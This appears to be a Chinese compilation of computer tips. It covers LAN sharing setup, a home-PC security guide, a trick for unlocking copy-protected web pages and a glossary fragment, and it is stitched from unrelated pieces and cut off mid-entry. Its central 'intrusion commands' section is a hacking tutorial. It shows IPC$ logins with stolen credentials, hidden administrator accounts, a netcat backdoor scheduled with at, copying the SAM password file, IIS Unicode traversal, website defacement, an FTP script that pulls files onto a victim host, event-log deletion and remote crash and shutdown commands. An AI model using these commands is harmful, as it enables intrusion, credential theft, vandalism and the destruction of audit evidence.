局域网电脑互访的设置大全

1、取消默认的“简单文件共享”
双击我的电脑/工具/文件夹选项/查看，将“使用简单文件共享（推荐）”
前面的√去掉。
2、设置同一工作组
右击我的电脑/计算机名，若工作组相同，如WORKGROUP，则可。否则，网络
ID/下一步/本机是商业网络的一部分，用它连接到其它工作着的计算机/下
一步/公司使用没有域的网络/下一步/设定工作组，下一步/完成。或开始\
程序\附件\通讯\网络安装向导……
3、一添二删除
开始/设置/控制面板/管理工具/本地策略/用户权利指派
①从网络访问此计算机，添加Guest用户。解决其它WinXP无法访问WinXP电
脑的问题。
②拒绝本地登录、拒绝从网络访问这台计算机，删除Guest或所有用户。解
决Win 98不能访问Win XP的问题。
4、更改网络访问模式
开始/设置/控制面板/管理工具/本地策略/安全选项
①网络访问：本地帐户的共享和安全模式，设置为“经典－本地用户以自己
的身份验证。
②帐户：使用空白密码的本地帐户只允许进行控制台登录－禁用。解决空白
密码不能登录问题。
③帐户：来宾状态－已启用，若有连接外网，可设“已停用“
5、禁用WinXP的计划任务服务（Task Scheduler）（看着办，可改可不改
）
开始/设置/控制面板/管理工具/服务，打开“Task Scheduler”的属性对
话框，单击“停止”按钮停止该项服务，再将启动类型设为“手动”（右击
Task Scheduler /属性）
6、设置成同一网段
开始/设置/网络连接/本地连接/属性/Internet协议（TCP/IP）/属性，使
用下面的IP地址，如，IP地址：192.168.1～255　子掩码：255.255.255.0
　默认网关：192.168.1.1
7、添加NetBEUI协议
将WinXP安装光盘“\VALUEADD\MSFT\NET\NETBEUI”目录下的NETNBF.INF、
NBF.SYS复制到软盘或某一文件夹。开始/设置/网络连接/本地连接/属性/安
装/协议，从磁盘安装/确定，OK！
8、选定连接使用项目
①开始/设置/网络连接/本地连接/属性，将Microsoft网络客户端、
Microsoft网络的文件和打印机共享、QOS数据包计划程序、NetBEUI、
Internet协议（TCP/IP），全部勾选，确定。
②开始/设置/网络连接/本地连接/xx连接/属性/网络，将Internet协议
（TCP/IP）、QOS数据包计划程序、Microsoft网络的文件和打印机共享、
Microsoft网络客户端，全部勾选，确定。
9、设置共享文件夹或磁盘
右击文件夹或磁盘/共享和安全，点选“共享此文件夹。其中可设置网络访
问该文件夹的权限，权限有：完全控制、更改、读取三项。
10、删除注册表中的两个子键（看着办，可删可不删）
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Exp
lorer\RemoteComputer\NameSpace” 下
①{2227A280-3AEA-1069-A2DE-08002B30309D}（此键决定网上邻居是否要
搜索网上的打印机，甚至要到Internet中去搜寻，如果网络中没有共享的打
印机便可删除此键）；
②{D6277990-4C6A-11CF-87-00AA0060F5BF}（此键决定是否需要查找指定
的计划任务，这是网上邻居很慢的罪魁祸首，必须将此子健删除）
11、创建共享用户(视情而定，一般情况不用设置)
单击“开始→设置→控制面板”，打开“用户帐户”，创建一个有密码的用
户，假设用户名为user00，需要共享资源的机器必须以该用户共享资源。
接下来设置要共享的目录。设置只有用户user00可以共享的目录下的资源：
用鼠标右键单击要共享的目录，单击“共享和安全”，选择“共享→共享该
文件夹”，点击“权限”，单击“删除”按钮将原先该目录的(everyone)删
除，再单击“添加”按钮，依次单击“高级→立即查找”，选择用户user00
，单击“确定”添加用户user00添加，并选择用户user00的共享权限以后局
域网中的计算机要想查看该共享文件夹中的内容，只有输入正确的用户名和
密码，才能查看或修改共享文件夹中的内容。
12、关闭防火墙
13、以上设置若还不能实现互访，可将杀毒软件关闭试试。安装卡巴斯基杀
软的，卡巴开启，设置/配置实时监控/高级设置/网络攻击防御，若勾选了
使用隐藏模式，网上邻居将无法互访，提示没有权限。
入侵命令详解
1：NET
只要你拥有某IP的用户名和密码，那就用IPC\$做连接吧！
这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为
127.0.0.1
net use [url=file://\\127.0.0.1\ipc\$]\\127.0.0.1\ipc\$ 123456 /user:hbx
null密码为空
退出的命令是net use [url=file://\\127.0.0.1\ipc\$]\\127.0.0.1\ipc\$[/url] /delete
net share是查看主机共享资源我们用它建一个秘密共享目录吧net share
me=c:\winnt\system32
这样这个机器就有了一个名为me的共享目录，而打开它就是winnt下的
system32目录，如果你用win2000的系统就知这个目录有多重要了，如果不
想要也好办net share me /delete 呵呵，没有了，是不是很方便的啊。
下面的操作你必须登陆后才可以用.登陆的方法就在上面.
下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户.
我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功，那么我们可以把他加入Administrator组了.
net localgroup Administrators heibai /add
这里是讲映\*对方的C盘，当然其他盘也可以，只要存在就行了.我们这里把
对方的C盘映\*到本地的Z盘.
net use z:\\127.0.0.1\c\$
net start telnet
这样可以打开对方的TELNET服务.
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道
是否这样，我的2000就是删除不了它。
net user guest /active:yes(特别注意:这个命令是把原来被禁用的guest
帐户再次激活)
net user guest /active:no这样这个guest的用户就又被禁用了
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用
户也可以的。只要有权限就行了呀！
net user guest lovechina
有人问到提高权限的问题 下面就解决下
net localgroup administrators guest /add
将guest变为administrator
net命令果然强大啊！ net view命令看对方开了共享
net user是查看所有用户列表，看看哪个用户是和你一样偷跑进来的，给他
名给删掉，让他美，
net user 用户名/delete哈哈,他没有了,管他什么是不是管理员呢,不过我
们还是查一下管理员组有什么用户吧,这样的用户才对我们有用嘛 net
localgroup
administrators就列出管理员组成员了,再查看一下administrator这个用
户，因为这个是创建系统时建出来的，所以要看看他的系统是什么时间创建
出来的
net user
administrator，然后再查看别的管理员用户是什么时间创建的，如果相差
太远，那可能是被别人偷偷跑来偷建的，一律del，安全第一
哦................
2:at
一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去
，怎么启动他呢？
那么需要用AT命令，这里假设你已经登陆了那个服务器。
你首先要得到对方的时间，
net time [url=file://\\127.0.0.1]\\127.0.0.1[/url]
将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1
at [url=file://\\127.0.0.1]\\127.0.0.1[/url] 12:3 nc.exe
这里假设了一个木马，名为NC.EXE，这个东西要在对方服务器上.
这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名.它是
一个TELNET服务，端口为99.等到了12:3就可以连接到对方的99端口.这样
就给对方种下了木马.
at命令功能强大,下面可以打个比方:
C:\> AT 22:30 Start C:\prettyboy.mp3
新加了一项作业，其作业 ID = 1 [现在我们新建立了一个任务 在22:30分
系统将自动播放歌曲]
3:telnet
这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不
过你给对方种了木马，直接连到这个木马打开的端口. telnet
127.0.0.1 99这样就可以连到对方的99端口.那你就可以在对方运行命令了
，这个也就是肉鸡.
4:FTP
它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，
国内多的是，如果真的找不到，我给www.51.NET，不错的.当我们申请完后
，它会给用户名，密码，以及FTP服务器.
在上传前需要登陆先，这里我们假设FTP服务器www.51.NET，用户名是
HUCJS，密码是654321 ftp www.51.net
他会要求输入用户，成功后会要求输入密码.
下面先说上传，假设你需上传的文件是INDEX.HTM，它位于C:\下，传到对方
D:\
get c:\index.htm d:\
假设你要把对方C盘下的INDEX.HTM，下到你的机子的D盘下
put c:\index.htm d:\
这里的问题是两个命令的解释正好弄反了，登陆ＦＴＰ服务器后get才是下
载，而put命令是上传，这和tftp的命令正好相反，在tftp命令里get是上传
put是下载，这下明白了吧，而且在ＦＴＰ服务器中不能用c:\和d:\这样来
指明路径，这也是在tftp里面用的方法，FTP可不会执行的，不信你去试好
了，正确应该这样上传文件put
index.htm这样就足够了，装c盘根目录下的index.htm文件上传到FTP服务
器的当前目录下，不喜欢就del
index.htm删掉这文件，下载时先查看一下目录，dir然后看这个目录里有什
么，有你要的你就get
index.htm这样就把index.htm这个文件下载到你自己的c盘根目录下了。
get index.htm
c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对
方的c:\inetpub\wwwroot\index.htm）"
5:copy
下面我说说怎样把本地的文件复制到对方硬盘上去， 需要建立好IPC\$连接
才有效。
这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下
copy index.htm [url=file://\\127.0.0.1\c\$\index.htm]\\127.0.0.1\c\$\index.htm[/url]
----------------------
如果你要复制到D盘下 把C改为D， 就行了！
copy index.htm [url=file://\\127.0.0.1\d\$\index.htm]\\127.0.0.1\d\$\index.htm[/url]
如果你要把他复制到 WINNT 目录里
就要把输入
copy index.htm [url=file://\\127.0.0.1\admin\$\index.htm]\\127.0.0.1\admin\$\index.htm[/url]
admin\$是winnt
要把对方的文件复制过来，顺便告诉大家 NT的备份的数据库放在
x:\winnt\repair\sam._ sam._是数据库的文件名下面就把127.0.0.1的数
据库复制到本地C盘下copy [url=file://\\127.0.0.1\admin\$\repair\sam]\\127.0.0.1\admin\$\repair\sam[/url]._ c:\这个
sam._这明显是NT主机的口令档，如果是win2000机器的口令文件应该是sam
6：set
如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当
然他的80端口要开，不然你黑给谁看。这时需要用SET命令！
下面是我得到的结果！我来分析它，只是找主页在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除
了
HTTP_ACCEPT_ENCODING=gzip， deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0;
Windows 98;
DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主页放在的地址，只要你看到
PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3，
GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=\$P\$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧
啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时
，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/
文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主
页的名称了。
7：nbtstat
如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这
个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜
密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力
破解吧！现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来
分析得到的结果。命令是nbtstat -A XX.XX.XX.XX -A一定要大写哦。这个
我认为大不大写没有太大差别，用处还是一样的。之后用net use \\对方IP
连接一下！ net view \\对方IP 查看对方共享文件夹net use X: [url=file://\\IP\]\\IP\[/url]对
方共享文件 映\*对方共享文件夹成为本机的X盘这就是139端口的基本用
法！不过前提是必须对方开共享！
netstat -n看看谁连接你
下面是得到的结果。
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered
Registered
Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看
到了一窜数字，只要这窜数字是 <03> 的话，那他前面的就是用户.
这里的用户是PENTIUMII。
没有03说明:MAC没和IP捆在一起了
8：Shutdown
关了对方的NT服务器的命令
Shutdown [url=file://\\IP]\\IP[/url]地址 t:20
20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失
，要做个有良心的入侵者呀。
Telnet进去用命令或者是本地用什么软件重启对方电脑
shutdown -m \\计算机名称 可以远程重起或关闭的
9：DIR
这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文
件夹。你可以本地试下。
10：echo著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主
机。我们假设我们要把“南京大屠杀铁证如山，任何日本人不得抵赖！”写
入index.htm，有2种方法，大家看看有什么区别。echo 南京大屠杀铁证如
山，任何日本人不得抵赖！>index.htm echo 南京大屠杀铁证如山，任何
日本人不得抵赖！>>index.htm第一个的意思是覆盖index.htm原有的内容
，把“南京大屠杀铁证如山，任何日本人不得抵赖！”写进index.htm。第
二个的意思是把“南京大屠杀铁证如山，任何日本人不得抵赖！”加到
index.htm里面。 “>>”产生的内容将追加进文件中，“>”则将原文件内
容覆盖。这里说明一下，<和>是重定向命令只是一个是输入重定向另一个是
输出重定向，比如我们在命令提示符下就会显示c:\>这个意思就是把C盘的
命令权重定向给我们，同样：也是定向的命令也叫作管道，它是用来连接两
个命令的管道，先执行管道左边的命令，再执行管道右边的命令，不过我是
没能耐把DOS命令说明白的，想研究就买本dos大全看吧，够看半年的了。
大家可以本地试下。
可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方
的目录里。
1、首先，我们需要申请一个免费的主页空间。
2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例
。）
open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给
你的）
cnhack（你申请时的用户名）
test（你申请时的密码）
get index.htm
c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对
方的c:\inetpub\wwwroot\index.htm）
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）
具体的做法：
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm
c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件
里的内容。）等命令完成时，文件已经下载到你指定的文件里了。
注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会
给别人看到你的密码。）
记得要 del c:\cnhack.txt
11:attrib这个命令是设置文件属性的。如果你想黑一个站，而他的主页的
文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。
倒！不过有这个命令就别怕了。
attrib -r index.htm这个命令是把index.htm的只读属性去掉。 如果把“
-”改为“+”则是把这个文件的属性设置为只读attrib +r index.htm这个
命令是把index.htm的属性设置为只读。attrib这个命令先要用来查属性，
比如attrib 文件名，这样就显示出这个文件的属性了，它不止有R这个属性
，其实一共有四种属性， a档案属性 r 只读属性 h隐含属性s系统属性，我
们想用哪个就用哪个，我觉得把我们上传的文件加个隐含属性更有意思，，
，，，继续挑那贴的错. 12:del当你看到这个标题可别倒下啊！现在要离开
127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。
NT的日志有这些
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他
盘。
Internet信息服务FTP日志默认位置：%systemroot%\system32
\logfiles\msftpsvc1\，默认每天一个日志Internet信息服务WWW日志默认
位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志
Scheduler服务日志默认位置：%systemroot%\schedlgu.txt
以上日志在注册表里的键： 应用程序日志，安全日志，系统日志
，DNS服务器日志，它们这些LOG文件在注册表中的：
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog有
的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表，里面
可查到以上日志的定位目录。
Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent
del确实是删除文件用的，log也确实是日志文件类型，不过按上面这种方法
是不可能清理掉你自身的日志的，因为系统自动运行着日志记录，你在做这
些时它一直都在记录着，并没有停止，大家也会常看到，有时删除某个文件
时会提示系统正在占用拒绝删除的，呵呵，这就明白了，系统正在运行的东
西已经驻留内存里，当然不能这样删除掉了，大家怕了吧，这样删等于帮别
人清理了日志，没删自己那份啊，哈哈哈哈，要问我怎么清理，我只说大家
还是用小榕的工具来清吧，那个又快又好，我们何必去用那些烦琐的命令行
呢，尤其对生长在windows桌面操作下的人们那显然是太麻烦了，我推荐小
榕的elsave工具，清理日志又快又干净，还省电呢，嘻嘻，我可不是做广告
来的。
借助第三方工具：如小榕的elsave.exe远程清除
system,applicaton,security的软件，
使用方法很简单，首先利用获得的管理员账号与对方建立ipc会话，net use
[url=file://\\ip]\\ip[/url] pass /us er: user
然后命令行下：elsave -s [url=file://\\ip]\\ip[/url] -l application -C，这样就删除了安全
日志。
其实利用这个软件还可以进行备份日志，只要加一个参数 -f filename就可
以了，在此不再详述。
局域网要别人死机? 他C盘开了共享的话(win98,而且没有打补丁),你在DOS
下输入
\\他的IP或机器名\c\con\con
让PC刀枪不入，个人电脑九大安全策略
　　一、 杀(防)毒软件不可少
病毒的发作给全球计算机系统造成巨大损失，令人们谈“毒”色变。上网的
人中，很少有谁没被病毒侵害过。对于一般用户而裕?紫纫?龅木褪俏?缒
园沧耙惶渍?娴纳倍救砑??纭度鹦巧倍救砑?005版》、《金山毒霸2005》
等等。
　　现在不少人对防病毒有个误区，就是对待电脑病毒的关键是“杀”，其
实对待电脑病毒应当是以“防”为主。目前绝大多数的杀毒软件都在扮演“
事后诸葛亮”的角色，即电脑被病毒感染后杀毒软件才忙不迭地去发现、分
析和治疗。这种被动防御的消极模式远不能彻底解决计算机安全问题。杀毒
软件应立足于拒病毒于计算机门外。因此应当安装杀毒软件的实时监控程序
，应该定期升级所安装的杀毒软件(如果安装的是网络版，在安装时可先将
其设定为自动升级)，给操作系统打相应补丁、升级引擎和病毒定义码。由
于新病毒的出现层出不穷，现在各杀毒软件厂商的病毒库更新十分频繁，应
当设置每天定时更新杀毒实时监控程序的病毒库，以保证其能够抵御最新出
现的病毒的攻击。
　　每周要对电脑进行一次全面的杀毒、扫描工作，以便发现并清除隐藏在
系统中的病毒。当用户不慎感染上病毒时，应该立即将杀毒软件升级到最新
版本，然后对整个硬盘进行扫描操作，清除一切可以查杀的病毒。如果病毒
无法清除，或者杀毒软件不能做到对病毒体进行清晰的辨认，那么应该将病
毒提交给杀毒软件公司，杀毒软件公司一般会在短期内给予用户满意的答复
。而面对网络攻击之时，我们的第一反应应该是拔掉网络连接端口，或按下
杀毒软件上的断开网络连接钮。
　　二、个人防火墙不可替代
　　如果有条件，安装个人防火墙(Fire Wall)以抵御黑客的袭击。所谓“
防火墙”，是指一种将内部网和公众访问网(Internet)分开的方法，实际上
是一种隔离技术。防火墙是在两个网络通讯时执行的一种访问控制尺度，它
能允许你“同意”的人和数据进入你的网络，同时将你“不同意”的人和数
据拒之门外，最大限度地阻止网络中的黑客来访问你的网络，防止他们更改
、拷贝、毁坏你的重要信息。防火墙安装和投入使用后，并非万事大吉。要
想充分发挥它的安全防护作用，必须对它进行跟踪和维护，要与商家保持密
切的联系，时刻注视商家的动态。因为商家一旦发现其产品存在安全漏洞，
就会尽快发布补救(Patch) 产品，此时应尽快确认真伪(防止特洛伊木马等
病毒)，并对防火墙进行更新。在理想情况下，一个好的防火墙应该能把各
种安全问题在发生之前解决。就现实情况看，这还是个遥远的梦想。目前各
家杀毒软件的厂商都会提供个人版防火墙软件，防病毒软件中都含有个人防
火墙，所以可用同一张光盘运行个人防火墙安装，重点提示防火墙在安装后
一定要根据需求进行详细配置。合理设置防火墙后应能防范大部分的蠕虫入
侵。
　　三、分类设置密码并使密码设置尽可能复杂
　　在不同的场合使用不同的密码。网上需要设置密码的地方很多，如网上
银行、上网账户、E-Mail、聊天室以及一些网站的会员等。应尽可能使用不
同的密码，以免因一个密码泄露导致所有资料外泄。对于重要的密码(如网
上银行的密码)一定要单独设置，并且不要与其他密码相同。
　　设置密码时要尽量避免使用有意义的英文单词、姓名缩写以及生日、电
话号码等容易泄露的字符作为密码，最好采用字符与数字混合的密码。
　　不要贪图方便在拨号连接的时候选择“保存密码”选项;如果您是使用
Email客户端软件(Outlook Express、Foxmail、The bat等)来收发重要的
电子邮箱，如ISP信箱中的电子邮件，在设置账户属性时尽量不要使用“记
忆密码”的功能。因为虽然密码在机器中是以加密方式存储的，但是这样的
加密往往并不保险，一些初级的黑客即可轻易地破译你的密码，而且现在网
上就有许多黑客软件可供下载，例如caption-it!软件，下载网址为
ftp://www.computerinfo.com.cn/utilities/other/caption-it.zip，利
用它可以轻而易举地得到你保存的密码。
　　定期地修改自己的上网密码，至少一个月更改一次，这样可以确保即使
原密码泄露，也能将损失减小到最少。
　　四、不下载来路不明的软件及程序，不打开来历不明的邮件及附件
　　不下载来路不明的软件及程序。几乎所有上网的人都在网上下载过共享
软件(尤其是可执行文件)，在给你带来方便和快乐的同时，也会悄悄地把一
些你不欢迎的东西带到你的机器中，比如病毒。因此应选择信誉较好的下载
网站下载软件，将下载的软件及程序集中放在非引导分区的某个目录，在使
用前最好用杀毒软件查杀病毒。有条件的话，可以安装一个实时监控病毒的
软件，随时监控网上传递的信息。
　　不要打开来历不明的电子邮件及其附件，以免遭受病毒邮件的侵害。在
互联网上有许多种病毒流行，有些病毒就是通过电子邮件来传播的(如梅丽
莎、爱虫等)，这些病毒邮件通常都会以带有噱头的标题来吸引你打开其附
件，如果您抵挡不住它的诱惑，而下载或运行了它的附件，那么接下来???
所以对于来历不明的邮件应当将其拒之门外。
　　五、警惕“网络钓鱼”
　　目前，网上一些黑客利用“网络钓鱼”手法进行欺 骗，如建立假冒网站
或发送含有欺诈信息的电子邮件，盗取网上银行、网上证券或其他电子商务
用户的账户密码，从而窃取用户资金的违法犯罪活动不断增多。公安机关和
银行、证券等有关部门提醒网上银行、网上证券和电子商务用户对此提高警
惕，防止上当受骗。
　　目前“网络钓鱼”的主要手法有以下几种方式:
　　(1)发送电子邮件，以虚假信息引诱用户中圈套。*骗分子以垃圾邮件
的形式大量发送欺诈性邮件，这些邮件多以中奖、顾问、对账等内容引诱用
户在邮件中填入金融账号和密码，或是以各种紧迫的理由要求收件人登录某
网页提交用户名、密码、身份证号、信用卡号等信息，继而盗*用户资金。
　　(2)建立假冒网上银行、网上证券网站，骗取用户账号密码实施盗*。
犯罪分子建立起域名和网页内容都与真正网上银行系统、网上证券交易平台
极为相似的网站，引诱用户输入账号密码等信息，进而通过真正的网上银行
、网上证券系统或者伪造银行储蓄卡、证券交易卡盗*资金;还有的利用跨
站脚本，即利用合法网站服务器程序上的漏洞，在站点的某些网页中插入恶
意Html代码，屏蔽住一些可以用来辨别网站真假的重要信息，利用cookies
窃取用户信息。
　　(3)利用虚假的电子商务进行*骗。此类犯罪活动往往是建立电子商务
网站，或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息，
犯罪分子在收到受害人的购物汇款后就销声匿迹。
　　(4)利用木马和黑客技术等手段窃取用户信息后实施盗*活动。木马制
作者通过发送邮件或在网站中隐藏木马等方式大肆传播木马程序，当感染木
马的用户进行网上交易时，木马程序即以键盘记录的方式获取用户账号和密
码，并发送给指定邮箱，用户资金将受到严重威胁。
　　(5)利用用户弱口令等漏洞破解、猜测用户账号和密码。不法分子利用
部分用户贪图方便设置弱口令的漏洞，对银行卡密码进行破解。
　　实际上，不法分子在实施网络*骗的犯罪活动过程中，经常采取以上几
种手法交织、配合进行，还有的通过手机短信、QQ、MSN进行各种各样的“
网络钓鱼”不法活动。反网络钓鱼组织APWG(Anti-Phishing Working
Group)最新统计指出，约有70.8%的网络欺诈是针对金融机构而来。从国内
前几年的情况看大多Phishing只是被用来骗取QQ密码与游戏点卡与装备，但
今年国内的众多银行已经多次被Phishing过了。可以下载一些工具来防范
Phishing活动，如Netcraft Toolbar，该软件是IE上的Toolbar，当用户开
启IE里的网址时，就会检查是否属于被拦截的危险或嫌疑网站，若属此范围
就会停止连接到该网站并显示提示。
　六、防范间谍软件(Spyware)
　　最近公布的一份家用电脑调查结果显示，大约80%的用户对间谍软件入
侵他们的电脑毫无知晓。间谍软件(Spyware)是一种能够在用户不知情的情
况下偷偷进行安装(安装后很难找到其踪影)，并悄悄把截获的信息发送给第
三者的软件。它的历史不长，可到目前为止，间谍软件数量已有几万种。间
谍软件的一个共同特点是，能够附着在共享文件、可执行图像以及各种免费
软件当中，并趁机潜入用户的系统，而用户对此毫不知情。间谍软件的主要
用途是跟踪用户的上网习惯，有些间谍软件还可以记录用户的键盘操作，捕
捉并传送屏幕图像。间谍程序总是与其他程序捆绑在一起，用户很难发现它
们是什么时候被安装的。一旦间谍软件进入计算机系统，要想彻底清除它们
就会十分困难，而且间谍软件往往成为不法分子手中的危险工具。
　　从一般用户能做到的方法来讲，要避免间谍软件的侵入，可以从下面三
个途径入手:
　　(1)把浏览器调到较高的安全等级—— Internet Explorer预设为提供
基本的安全防护，但您可以自行调整其等级设定。将Internet Explorer的
安全等级调到“高”或“中”可有助于防止下载。
　　(2)在计算机上安装防止间谍软件的应用程序(如Mircrosoft Anti
Spyware是一款专门针对Spyware的程序，支持Windows2000/XP/2003，它是
用于监测和移除系统中存在的Spyware和其他潜在的不受信任程序的软件)，
时常监察及清除电脑的间谍软件，以阻止软件对外进行未经许可的通讯。
　　(3)对将要在计算机上安装的共享软件进行甄别选择，尤其是那些你并
不熟悉的，可以登录其官方网站了解详情;在安装共享软件时，不要总是心
不在焉地一路单击“OK”按钮，而应仔细阅读各个步骤出现的协议条款，特
别留意那些有关间谍软件行为的语句。
　　七、只在必要时共享文件夹
　　不要以为你在内部网上共享的文件是安全的，其实你在共享文件的同时
就会有软件漏洞呈现在互联网的不速之客面前，公众可以自由地访问您的那
些文件，并很有可能被有恶意的人利用和攻击。因此共享文件应该设置密码
，一旦不需要共享时立即关闭。
　　一般情况下不要设置文件夹共享，以免成为居心叵测的人进入你的计算
机的跳板。
　　如果确实需要共享文件夹，一定要将文件夹设为只读。通常共享设定“
访问类型”不要选择“完全”选项，因为这一选项将导致只要能访问这一共
享文件夹的人员都可以将所有内容进行修改或者删除。Windows98/ME的共享
默认是“只读”的，其他机器不能写入;Windows2000的共享默认是“可写”
的，其他机器可以删除和写入文件，对用户安全构成威胁。
　　不要将整个硬盘设定为共享。例如，某一个访问者将系统文件删除，会
导致计算机系统全面崩溃，无法启动。
　　八、不要随意浏览黑客网站、*情网站
　　这点勿庸多说，不仅是道德层面，而且时下许多病毒、木马和间谍软件
都来自于黑客网站和*情网站，如果你上了这些网站，而你的个人电脑恰巧
又没有缜密的防范措施，哈哈，那么你十有八九会中招。
　　九、定期备份重要数据
　　数据备份的重要性毋庸讳言，无论你的防范措施做得多么严密，也无法
完全防止“道高一尺，魔高一丈”的情况出现。如果遭到致命的攻击，操作
系统和应用软件可以重装，而重要的数据就只能靠你日常的备份了。所以，
无论你采取了多么严密的防范措施，也不要忘了随时备份你的重要数据，做
到有备无患!
资料下载技巧
当我们需要一些资料时.比如说,我们现在上学,毕业时需要的论文(需从网上
下),我们在公司上班时需的有关方面的资料(也需要从网上下载).这时我们
正好从某大搜索网络上(如GOOGLE,baidu,3721)搜索到了一篇合适滴,当然
是一篇网页形式滴,需要我们将其复制下来,然后再粘贴到WORD中,可是人家
作者为了保护自已的文章不被侵犯,人家会在代码中加上那么几个语句,使你
无法选择,无法复制,无法......总之就只能看那些文章,这时我们就会头痛(
要复制还不行,要照着此篇文章将其用键盘敲到WORD中,又太多.愁!!),这时
不用怕.只要选择收藏-添加到收藏夹,然后点击刚收藏到的那个连接的属性,
在URL中输入javascript:void(document.body.οncοpy=''),然后再重复上
一步,输入javascript:void
(document.body.οnmοuseup=''),javascript:void
(document.body.οncοntextmenu=''),javascript:void
(document.body.onselectstart=''),然后一次单击收藏中的那四个连接,
就可实现往常的选择,复制了.就可以轻松的将你想要的文章复制到WORD中(
你想要存放的位置).如下图.照图将剩下的两个语句加上.说明.单击四个连
接的时候不会有任何反应,那是正常的.只要你一个一个的单击了就可以滴
文件删除终结者
文件删除终结者
dos级文件删除方式，打造病毒清除新模式
无须进入安全模式，即可删除所有病毒文件
可以删除Icesword，killBox，金山2007文件粉碎器等无法删除的文件
支持一次重启批量文件删除
测试发布地址：http://egomoo.i170.cn/Article_49634
常用计算机专业术语名词解释大全
28VGA: 28是指彩色显示器上的黄光网点间距(点距)，点距越小的显示器，
图像就越细腻、越好，这是因为彩色屏幕上的每个像点都是由一组红、绿、
蓝光汇聚而成的，由于在技术上三束光还不能100％地汇聚在一点上，因此
会产生一种黄光网点的间隔，这种间隔越小，屏幕上显示的图像越清晰。
VGA是Video Graphics Array(视频图形阵列)的缩写。
二3DS或3D Studio
3DS或3D Studio: Three DimensionStudio,三维摄影室。是美国Autodesk
